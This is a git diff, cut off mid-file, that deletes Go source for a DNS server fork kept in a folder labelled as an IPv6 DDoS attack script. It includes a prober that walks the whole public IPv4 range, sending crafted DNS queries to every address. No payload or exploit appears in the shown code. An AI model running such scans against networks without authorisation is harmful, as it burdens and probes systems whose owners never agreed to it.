"a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" +++ /dev/null @@ -1,12 +0,0 @@ -package log - -import "runtime" - -// 获取运行时函数 -func RunFuncName() (string, int) { - _, file, line, ok := runtime.Caller(1) - if ok { - return file, line - } - return "null", 0 -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" deleted file mode 100644 index a82e42b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" +++ /dev/null @@ -1,19 +0,0 @@ -// Package nonwriter implements a dns.ResponseWriter that never writes, but captures the dns.Msg being written. -package nonwriter - -import "github.com/miekg/dns" - -// Writer is a type of ResponseWriter that captures the message, but never writes to the client. -type Writer struct { - dns.ResponseWriter - Msg *dns.Msg -} - -// New makes and returns a new NonWriter. -func New(w dns.ResponseWriter) *Writer { return &Writer{ResponseWriter: w} } - -// WriteMsg records the message, but doesn't write it itself. -func (w *Writer) WriteMsg(res *dns.Msg) error { - w.Msg = res - return nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" deleted file mode 100644 index 692da8e..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" +++ /dev/null @@ -1,121 +0,0 @@ -package parse - -import ( - "errors" - "fmt" - "github.com/miekg/dns" - "net" - "ohmydns2/plugin/pkg/transport" - "os" - "strings" -) - -// ErrNoNameservers is returned by HostPortOrFile if no servers can be parsed. -var ErrNoNameservers = errors.New("no nameservers found") - -// Strips the zone, but preserves any port that comes after the zone -func stripZone(host string) string { - if strings.Contains(host, "%") { - lastPercent := strings.LastIndex(host, "%") - newHost := host[:lastPercent] - return newHost - } - return host -} - -// HostPortOrFile parses the strings in s, each string can either be a -// address, [scheme://]address:port or a filename. The address part is checked -// and in case of filename a resolv.conf like file is (assumed) and parsed and -// the nameservers found are returned. -func HostPortOrFile(s ...string) ([]string, error) { - var servers []string - for _, h := range s { - trans, host := Transport(h) - if len(host) == 0 { - return servers, fmt.Errorf("invalid address: %q", h) - } - - if trans == transport.UNIX { - servers = append(servers, trans+"://"+host) - continue - } - - addr, _, err := net.SplitHostPort(host) - - if err != nil { - // Parse didn't work, it is not a addr:port combo - hostNoZone := stripZone(host) - if net.ParseIP(hostNoZone) == nil { - ss, err := tryFile(host) - if err == nil { - servers = append(servers, ss...) - continue - } - return servers, fmt.Errorf("not an IP address or file: %q", host) - } - var ss string - switch trans { - case transport.DNS: - ss = net.JoinHostPort(host, transport.Port) - case transport.TLS: - ss = transport.TLS + "://" + net.JoinHostPort(host, transport.TLSPort) - case transport.GRPC: - ss = transport.GRPC + "://" + net.JoinHostPort(host, transport.GRPCPort) - case transport.HTTPS: - ss = transport.HTTPS + "://" + net.JoinHostPort(host, transport.HTTPSPort) - } - servers = append(servers, ss) - continue - } - - if net.ParseIP(stripZone(addr)) == nil { - ss, err := tryFile(host) - if err == nil { - servers = append(servers, ss...) - continue - } - return servers, fmt.Errorf("not an IP address or file: %q", host) - } - servers = append(servers, h) - } - if len(servers) == 0 { - return servers, ErrNoNameservers - } - return servers, nil -} - -// Try to open this is a file first. -func tryFile(s string) ([]string, error) { - c, err := dns.ClientConfigFromFile(s) - if err == os.ErrNotExist { - return nil, fmt.Errorf("failed to open file %q: %q", s, err) - } else if err != nil { - return nil, err - } - - servers := []string{} - for _, s := range c.Servers { - servers = append(servers, net.JoinHostPort(s, c.Port)) - } - return servers, nil -} - -// HostPort will check if the host part is a valid IP address, if the -// IP address is valid, but no port is found, defaultPort is added. -func HostPort(s, defaultPort string) (string, error) { - addr, port, err := net.SplitHostPort(s) - if port == "" { - port = defaultPort - } - if err != nil { - if net.ParseIP(s) == nil { - return "", fmt.Errorf("must specify an IP address: `%s'", s) - } - return net.JoinHostPort(s, port), nil - } - - if net.ParseIP(addr) == nil { - return "", fmt.Errorf("must specify an IP address: `%s'", addr) - } - return net.JoinHostPort(addr, port), nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" deleted file mode 100644 index 1ea364c..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" +++ /dev/null @@ -1,37 +0,0 @@ -// Package parse contains functions that can be used in the setup code for plugins. -package parse - -import ( - "fmt" - "github.com/coredns/caddy" - "ohmydns2/plugin/pkg/transport" -) - -// TransferIn parses transfer statements: 'transfer from [address...]'. -func TransferIn(c *caddy.Controller) (froms []string, err error) { - if !c.NextArg() { - return nil, c.ArgErr() - } - value := c.Val() - switch value { - default: - return nil, c.Errf("unknown property %s", value) - case "from": - froms = c.RemainingArgs() - if len(froms) == 0 { - return nil, c.ArgErr() - } - for i := range froms { - if froms[i] != "*" { - normalized, err := HostPort(froms[i], transport.Port) - if err != nil { - return nil, err - } - froms[i] = normalized - } else { - return nil, fmt.Errorf("can't use '*' in transfer from") - } - } - } - return froms, nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" deleted file mode 100644 index 32f7b37..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" +++ /dev/null @@ -1,36 +0,0 @@ -package parse - -import ( - "ohmydns2/plugin/pkg/transport" - "strings" -) - -// Transport 函数返回 s 中定义的传输协议和一个删除传输前缀的字符串(如果有)。如果未定义传输协议,则默认为传输DNS(Do53) -func Transport(s string) (trans string, addr string) { - switch { - case strings.HasPrefix(s, transport.TLS+"://"): - s = s[len(transport.TLS+"://"):] - return transport.TLS, s - - case strings.HasPrefix(s, transport.DNS+"://"): - s = s[len(transport.DNS+"://"):] - return transport.DNS, s - - case strings.HasPrefix(s, transport.GRPC+"://"): - s = s[len(transport.GRPC+"://"):] - return transport.GRPC, s - - case strings.HasPrefix(s, transport.HTTPS+"://"): - s = s[len(transport.HTTPS+"://"):] - return transport.HTTPS, s - - case strings.HasPrefix(s, transport.UNIX+"://"): - s = s[len(transport.UNIX+"://"):] - return transport.UNIX, s - case strings.HasPrefix(s, transport.PROBER+"://"): - s = s[len(transport.PROBER+"://"):] - return transport.PROBER, s - } - - return transport.DNS, s -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" deleted file mode 100644 index 9da998b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" +++ /dev/null @@ -1,30 +0,0 @@ -package prober - -// 配置键值 -const ( - prange = "range" - ptype = "ptype" - ploop = "loop" - pnet = "netType" - pTimeout = 5 - PAddrNum = "addrNum" - Pchain = "pchain" -) - -const ( - defaultPrange = "global" - defaultPtype = "v64" - defaultTarget = "n64.top" - defaultStartsubv64 = "v4-1" - //defaultMaxGRout = 4000 //默认协程最大运行数 - defaultMaxDial = 5 - defaultPloop = false - // defaultPnum 提供了一个全球探测的目的地址大致范围 - defaultPnum = 4000000000 -) - -// TODO:实现功能 -// 检查输入参数是否有定义,0代表一切正常,1代表有严重错误,无法创建,2代表有额外未定义参数,但仍可创建 -func VaildArgs(args map[string][]string) (string, int) { - return "OK", 0 -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" deleted file mode 100644 index a63113b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" +++ /dev/null @@ -1,150 +0,0 @@ -package prober - -import ( - "context" - "crypto/tls" - "github.com/miekg/dns" - "github.com/panjf2000/ants/v2" - "math" - "net" - olog "ohmydns2/plugin/pkg/log" - "sync" -) - -type Prober struct { - Prange []string `json:"prange"` // 探测范围 - Ptype string `json:"ptype"` // 探针类型 - AllAddrNum int `json:"allAddrnum"` // 总共需要探测的地址数 - ScanAddrNum int `json:"scanAddrNum"` // 已探测过的地址数 - Pid int `json:"pid"` // 探测器ID - Loop bool `json:"loop"` //是否持续探测 - m *sync.Mutex - stop context.CancelFunc // stop信号量 - removeFromPGList func() //从探测器列表中删除对应记录 - c *dns.Client -} - -// 新建探测器 -func NewProber(ctx context.Context) *Prober { - p := new(Prober) - - //配置探测器 - ok := true - if p.Prange, ok = ctx.Value(prange).([]string); !ok { - p.Prange[0] = defaultPrange - } - if p.Ptype, ok = ctx.Value(ptype).(string); !ok { - p.Ptype = defaultPtype - } - if p.Loop, ok = ctx.Value(ploop).(bool); !ok { - p.Loop = defaultPloop - } - if p.AllAddrNum, ok = ctx.Value(PAddrNum).(int); !ok { - p.AllAddrNum = defaultPnum - } - - // 配置客户端 - p.c = &dns.Client{ - Timeout: pTimeout, - } - switch ctx.Value(pnet) { - case "tcp": - p.c.Net = "tcp" - case "tcp-tls": - p.c.Net = "tcp-tls" - // TODO:tls配置 - p.c.TLSConfig = &tls.Config{} - default: - break - } - return p -} - -// Start 探测代码 -func (p *Prober) Start(ctx context.Context, target chan net.IP, pool *ants.Pool) { - - var wg sync.WaitGroup - - // 探测轮数 - round := 1 - if p.Loop { - round = math.MaxInt - } - for { - // 下一轮次的数据 - for { - if ip, ok := <-target; ok { - select { - case <-ctx.Done(): - // 中途取消 - return - default: - err := pool.Submit(p.Probe(ctx, ip, &wg)) - if err != nil { - olog.Errorf("prober/Start: %v", err.Error()) - return - } - p.addScanAddrNum() - } - } else { - // 一轮扫描完成 - round -= 1 - // 探测轮数归零,退出 - if round == 0 { - err := p.exit() - if err != nil { - return - } - return - } - // 未归零,开始下一轮 - break - } - } - } -} - -func (p *Prober) Stop() error { - p.stop() - return nil -} - -func (p *Prober) exit() error { - p.removeFromPGList() - return nil -} - -func (p *Prober) addScanAddrNum() { - // 加锁防止数据错误 - p.m.Lock() - p.ScanAddrNum += 1 - p.m.Unlock() -} - -// Probe 所有探测方法的封装方法 -func (p *Prober) Probe(ctx context.Context, ip net.IP, wg *sync.WaitGroup) func() { - msg := new(dns.Msg) - pcf := ctx.Value(Pchain).(*PBConfig) - return func() { - // 将目标IP传入上下文 - ctx = context.WithValue(ctx, Target, ip) - _, _ = pcf.PluginChain.ProbeDNS(ctx, p.c, msg) - wg.Done() - } -} - -//func (p *Prober) Probev64(ip net.IP) error { -// msg := new(dns.Msg) -// msg.SetQuestion(dns.Fqdn(p.makeProbe(ip)), dns.TypeTXT) -// // TODO:展示响应内容 -// _, _, err := p.c.Exchange(msg, ip.String()+":53") -// if err != nil { -// return err -// } -// return nil -//} - -const ( - Paramkey = "httpparam" - Target = "targetip" -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" deleted file mode 100644 index edcb142..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" +++ /dev/null @@ -1,129 +0,0 @@ -package prober - -import ( - "context" - "crypto/tls" - "fmt" - "net/http" - "ohmydns2/plugin" - "ohmydns2/plugin/pkg/request" - "time" -) - -// PBConfig configuration for a single prober. -type PBConfig struct { - - // one or several hostnames to bind the server to. - // defaults to a single empty string that denote the wildcard address - ListenHosts []string - - // The port to listen on. - Port string - - // Root points to a base directory we find user defined "things". - // First consumer is the file plugin to looks for zone files in this place. - Root string - - // Debug controls the panic/recover mechanism that is enabled by default. - Debug bool - - // Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default. - Stacktrace bool - - // 使用的传输协议,目前为HTTP - Transport string - - // If this function is not nil it will be used to inspect and validate - // HTTP requests. Although this isn't referenced in-tree, external plugins - // may depend on it. - HTTPRequestValidateFunc func(*http.Request) bool - - // FilterFuncs is used to further filter access - // to this handler. E.g. to limit access to a reverse zone - // on a non-octet boundary, i.e. /17 - FilterFuncs []FilterFunc - - // ViewName is the name of the Viewer PLugin defined in the Config - ViewName string - - // TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS). - TLSConfig *tls.Config - - // Timeouts for TCP, TLS and HTTPS servers. - ReadTimeout time.Duration - WriteTimeout time.Duration - IdleTimeout time.Duration - - // TSIG secrets, [name]key. - TsigSecret map[string]string - - // Plugin stack. - Plugin []plugin.Pplugin - - // Compiled plugin stack. - PluginChain plugin.Prober - - // Plugin interested in announcing that they exist, so other plugin can call methods - // on them should register themselves here. The name should be the name as return by the - // Handler's Name method. - registry map[string]plugin.Prober - - // FirstConfigInBlock is used to reference the first config in a server block, for the - // purpose of sharing single instance of each plugin among all zones in a server block. - FirstConfigInBlock *PBConfig - - // MetaCollector references the first MetadataCollector plugin, if one exists - MetaCollector ProberMetadataCollector -} - -// FilterFunc is a function that filters requests from the Config -type FilterFunc func(context.Context, *request.HTTPRequest) bool - -// KeyForConfig builds a key for identifying the configs during setup time -func KeyForConfig(blocIndex int, blocKeyIndex int) string { - return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex) -} - -// AddPlugin adds a plugin to a site's plugin stack. -func (pc PBConfig) AddPlugin(m plugin.Pplugin) { - pc.Plugin = append(pc.Plugin, m) -} - -// registerHandler adds a prober to a site's prober registration. -func (pc PBConfig) RegisterProber(p plugin.Prober) { - if pc.registry == nil { - pc.registry = make(map[string]plugin.Prober) - } - - // Just overwrite... - pc.registry[p.Name()] = p -} - -// Handler returns the plugin handler that has been added to the config under its name. -// This is useful to inspect if a certain plugin is active in this server. -// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin -// comes before the plugin you are checking; it will not be there (yet). -func (pc PBConfig) Handler(name string) plugin.Prober { - if pc.registry == nil { - return nil - } - if h, ok := pc.registry[name]; ok { - return h - } - return nil -} - -// Handlers returns a slice of plugins that have been registered. This can be used to -// inspect and interact with registered plugins but cannot be used to remove or add plugins. -// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin -// comes before the plugin you are checking; it will not be there (yet). -func (pc PBConfig) Handlers() []plugin.Prober { - if pc.registry == nil { - return nil - } - hs := make([]plugin.Prober, 0, len(pc.registry)) - for k := range pc.registry { - hs = append(hs, pc.registry[k]) - } - return hs -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" deleted file mode 100644 index 162895a..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" +++ /dev/null @@ -1,11 +0,0 @@ -package prober - -import ( - "context" - "ohmydns2/plugin/pkg/request" -) - -// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins -type ProberMetadataCollector interface { - Collect(context.Context, request.HTTPRequest) context.Context -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" deleted file mode 100644 index 1e45b41..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" +++ /dev/null @@ -1,96 +0,0 @@ -package prober - -import ( - "context" - "errors" - "github.com/panjf2000/ants/v2" - "net" - olog "ohmydns2/plugin/pkg/log" - "strconv" - "time" -) - -// 探测器和协程状态列表 -type ProberAndGoroutList struct { - Pl map[int]*Prober // 探测器 - GRPool *ants.Pool -} - -// 获取当前正在运行的探测器数量 -func (pl *ProberAndGoroutList) GetNum() int { - return len(pl.Pl) -} - -// 增加一个探测器,并返回对应的pid -func (pl *ProberAndGoroutList) AddProber(ctx context.Context, targetIP chan net.IP) string { - //当前时间戳,作为探测器ID - t := time.Now().Unix() - //创建一个新的Prober对象 - p := NewProber(ctx) - pctx, cancel := context.WithCancel(ctx) - p.stop = cancel - p.Pid = int(t) - p.removeFromPGList = func() { - err := pl.DeleteProberById(p.Pid) - if err != nil { - return - } - } - pl.Pl[int(t)] = p - - if p.Prange[0] != defaultPrange { - olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, defaultPrange, p.Ptype) - } else { - olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, "自定义", p.Ptype) - } - // 开始执行任务 - go p.Start(pctx, targetIP, pl.GRPool) - - return strconv.Itoa(p.Pid) -} - -// 列举所有探测器信息 -func (pl *ProberAndGoroutList) ListAllProber() (int, map[int]Prober, error) { - rm := make(map[int]Prober) - for k, v := range pl.Pl { - rm[k] = *v - } - - return pl.GetNum(), rm, nil -} - -// DeleteProberById 根据探测器ID停止探测任务 -func (pl *ProberAndGoroutList) DeleteProberById(pid int) error { - err := pl.Pl[pid].Stop() - delete(pl.Pl, pid) - if err != nil { - panic("can't Stop prober " + strconv.Itoa(pid)) - } - return nil -} - -// DeleteAllProber 删除所有的运行的探测器,底层调用了DeleteProberById -func (pl *ProberAndGoroutList) DeleteAllProber() error { - for k, _ := range pl.Pl { - err := pl.DeleteProberById(k) - if err != nil { - return err - } - } - return nil -} - -// DeleteProber 根据探测器对象找到对应探测ID并删除 -func (pl *ProberAndGoroutList) DeleteProber(p *Prober) error { - for k, v := range pl.Pl { - if v == p { - err := pl.DeleteProberById(k) - if err != nil { - return err - } - return nil - } - } - olog.Error("未找到该探测器") - return errors.New("not found this prober!!") -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" deleted file mode 100644 index 937c59e..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" +++ /dev/null @@ -1,78 +0,0 @@ -package prober - -import ( - "bytes" - "encoding/binary" - "fmt" - "net" - "ohmydns2/plugin/pkg/log" - "strconv" - "strings" - - "github.com/pochard/commons/randstr" -) - -// 数字到IP -func uint32toIP4(ipInt uint32) string { - // need to do two bit shifting and “0xff” masking - b0 := strconv.FormatInt(int64((ipInt>>24)&0xff), 10) - b1 := strconv.FormatInt(int64((ipInt>>16)&0xff), 10) - b2 := strconv.FormatInt(int64((ipInt>>8)&0xff), 10) - b3 := strconv.FormatInt(int64((ipInt & 0xff)), 10) - return b0 + "." + b1 + "." + b2 + "." + b3 -} - -// ip到数字 -func ip2Long(ip string) uint32 { - var long uint32 - err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.BigEndian, &long) - if err != nil { - log.Errorf("proberutil/ip2long: %v", err.Error()) - return 0 - } - return long -} - -// 生成可用于IPv4探测的地址 -func GenGlobIPv4() chan net.IP { - c := make(chan net.IP) - // 从1.0.0.0开始,到223.255.255.255结束(ICANN已分配地址) - go func() { - for n := ip2Long("1.0.0.0"); n < ip2Long("223.255.255.255"); n++ { - ip := net.ParseIP(uint32toIP4(n)) - // 地址全球单播且不是私有地址 - if ip.IsGlobalUnicast() && !ip.IsPrivate() { - c <- ip - } - } - close(c) - }() - return c -} - -// MakeProbe 生成探针的封装 -func (p *Prober) makeProbe(ip net.IP) string { - if p.Ptype == defaultPtype { - return MakeProbev64(ip) - } - return "" -} - -// 构造v64需要的探针 -func MakeProbev64(ip net.IP) string { - ipstr := ip2Eid(ip) - return fmt.Sprintf("c1.rip%v.%v.%v.%v.", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), defaultStartsubv64, defaultTarget) -} - -func MakeTestProbev64(subv64 string, targetzone string) string { - ipstr := ip2Eid(net.ParseIP("0.0.0.0")) - return fmt.Sprintf("c1.%v.%v.%v.%v", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), subv64, targetzone) -} - -func ip2Eid(ip net.IP) string { - i := ip.String() - if strings.Contains(i, ":") { - return strings.ReplaceAll(i, ":", "-") - } - return strings.ReplaceAll(i, ".", "-") -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" deleted file mode 100644 index 3fae352..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" +++ /dev/null @@ -1,157 +0,0 @@ -package proxy - -import ( - "context" - "io" - "net" - "ohmydns2/plugin/pkg/request" - "strconv" - "sync/atomic" - "time" - - "github.com/miekg/dns" -) - -// limitTimeout is a utility function to auto-tune timeout values -// average observed time is moved towards the last observed delay moderated by a weight -// next timeout to use will be the double of the computed average, limited by min and max frame. -func limitTimeout(currentAvg *int64, minValue time.Duration, maxValue time.Duration) time.Duration { - rt := time.Duration(atomic.LoadInt64(currentAvg)) - if rt < minValue { - return minValue - } - if rt < maxValue/2 { - return 2 * rt - } - return maxValue -} - -func averageTimeout(currentAvg *int64, observedDuration time.Duration, weight int64) { - dt := time.Duration(atomic.LoadInt64(currentAvg)) - atomic.AddInt64(currentAvg, int64(observedDuration-dt)/weight) -} - -func (t *Transport) dialTimeout() time.Duration { - return limitTimeout(&t.avgDialTime, minDialTimeout, maxDialTimeout) -} - -func (t *Transport) updateDialTimeout(newDialTime time.Duration) { - averageTimeout(&t.avgDialTime, newDialTime, cumulativeAvgWeight) -} - -// Dial dials the address configured in transport, potentially reusing a connection or creating a new one. -func (t *Transport) Dial(proto string) (*persistConn, bool, error) { - // If tls has been configured; use it. - if t.tlsConfig != nil { - proto = "tcp-tls" - } - - t.dial <- proto - pc := <-t.ret - - if pc != nil { - ConnCacheHitsCount.WithLabelValues(t.addr, proto).Add(1) - return pc, true, nil - } - ConnCacheMissesCount.WithLabelValues(t.addr, proto).Add(1) - - reqTime := time.Now() - timeout := t.dialTimeout() - if proto == "tcp-tls" { - conn, err := dns.DialTimeoutWithTLS("tcp", t.addr, t.tlsConfig, timeout) - t.updateDialTimeout(time.Since(reqTime)) - return &persistConn{c: conn}, false, err - } - conn, err := dns.DialTimeout(proto, t.addr, timeout) - t.updateDialTimeout(time.Since(reqTime)) - return &persistConn{c: conn}, false, err -} - -// Connect selects an upstream, sends the request and waits for a response. -func (p *Proxy) Connect(ctx context.Context, state request.Request, opts Options) (*dns.Msg, error) { - start := time.Now() - - proto := "" - switch { - case opts.ForceTCP: // TCP flag has precedence over UDP flag - proto = "tcp" - case opts.PreferUDP: - proto = "udp" - default: - proto = state.Proto() - } - - pc, cached, err := p.transport.Dial(proto) - if err != nil { - return nil, err - } - - // Set buffer size correctly for this client. - pc.c.UDPSize = uint16(state.Size()) - if pc.c.UDPSize < 512 { - pc.c.UDPSize = 512 - } - - pc.c.SetWriteDeadline(time.Now().Add(maxTimeout)) - // records the origin Id before upstream. - originId := state.Req.Id - state.Req.Id = dns.Id() - defer func() { - state.Req.Id = originId - }() - - if err := pc.c.WriteMsg(state.Req); err != nil { - pc.c.Close() // not giving it back - if err == io.EOF && cached { - return nil, ErrCachedClosed - } - return nil, err - } - - var ret *dns.Msg - pc.c.SetReadDeadline(time.Now().Add(p.readTimeOut)) - for { - ret, err = pc.c.ReadMsg() - if err != nil { - // For UDP, if the error is not a network error keep waiting for a valid response to prevent malformed - // spoofs from blocking the upstream response. - // In the case this is a legitimate malformed response from the upstream, this will result in a timeout. - if proto == "udp" { - if _, ok := err.(net.Error); !ok { - continue - } - } - pc.c.Close() // connection closed by peer, close the persistent connection - if err == io.EOF && cached { - return nil, ErrCachedClosed - } - - // recover the origin Id after upstream. - if ret != nil { - ret.Id = originId - } - return ret, err - } - // drop out-of-order responses - if state.Req.Id == ret.Id { - break - } - } - // recovery the origin Id after upstream. - ret.Id = originId - - p.transport.Yield(pc) - - rc, ok := dns.RcodeToString[ret.Rcode] - if !ok { - rc = strconv.Itoa(ret.Rcode) - } - - RequestCount.WithLabelValues(p.addr).Add(1) - RcodeCount.WithLabelValues(rc, p.addr).Add(1) - RequestDuration.WithLabelValues(p.addr, rc).Observe(time.Since(start).Seconds()) - - return ret, nil -} - -const cumulativeAvgWeight = 4 diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" deleted file mode 100644 index 18618ad..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/error.go" +++ /dev/null @@ -1,24 +0,0 @@ -package proxy - -import "errors" - -var ( - // ErrNoHealthy means no healthy proxies left. - ErrNoHealthy = errors.New("no healthy proxies") - // ErrNoForward means no forwarder defined. - ErrNoForward = errors.New("no forwarder defined") - // ErrCachedClosed means cached connection was closed by peer. - ErrCachedClosed = errors.New("cached connection was closed by peer") -) - -// Options holds various Options that can be set. -type Options struct { - // ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag - ForceTCP bool - // PreferUDP use UDP protocol for upstream DNS request. - PreferUDP bool - // HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests - HCRecursionDesired bool - // HCDomain sets domain for Proxy healthcheck requests - HCDomain string -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" deleted file mode 100644 index 52bb667..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/health.go" +++ /dev/null @@ -1,130 +0,0 @@ -package proxy - -import ( - "crypto/tls" - "ohmydns2/plugin/pkg/log" - "ohmydns2/plugin/pkg/transport" - "sync/atomic" - "time" - - "github.com/miekg/dns" -) - -// HealthChecker 检查上游是否健康 -type HealthChecker interface { - Check(*Proxy) error - SetTLSConfig(*tls.Config) - GetTLSConfig() *tls.Config - SetRecursionDesired(bool) - GetRecursionDesired() bool - SetDomain(domain string) - GetDomain() string - SetTCPTransport() - GetReadTimeout() time.Duration - SetReadTimeout(time.Duration) - GetWriteTimeout() time.Duration - SetWriteTimeout(time.Duration) -} - -// dnsHc is a health checker for a DNS endpoint (DNS, and DoT). -type dnsHc struct { - c *dns.Client - recursionDesired bool - domain string -} - -// NewHealthChecker returns a new HealthChecker based on transport. -func NewHealthChecker(trans string, recursionDesired bool, domain string) HealthChecker { - switch trans { - case transport.DNS, transport.TLS: - c := new(dns.Client) - c.Net = "udp" - c.ReadTimeout = 1 * time.Second - c.WriteTimeout = 1 * time.Second - - return &dnsHc{ - c: c, - recursionDesired: recursionDesired, - domain: domain, - } - } - - log.Warningf("No healthchecker for transport %q", trans) - return nil -} - -func (h *dnsHc) SetTLSConfig(cfg *tls.Config) { - h.c.Net = "tcp-tls" - h.c.TLSConfig = cfg -} - -func (h *dnsHc) GetTLSConfig() 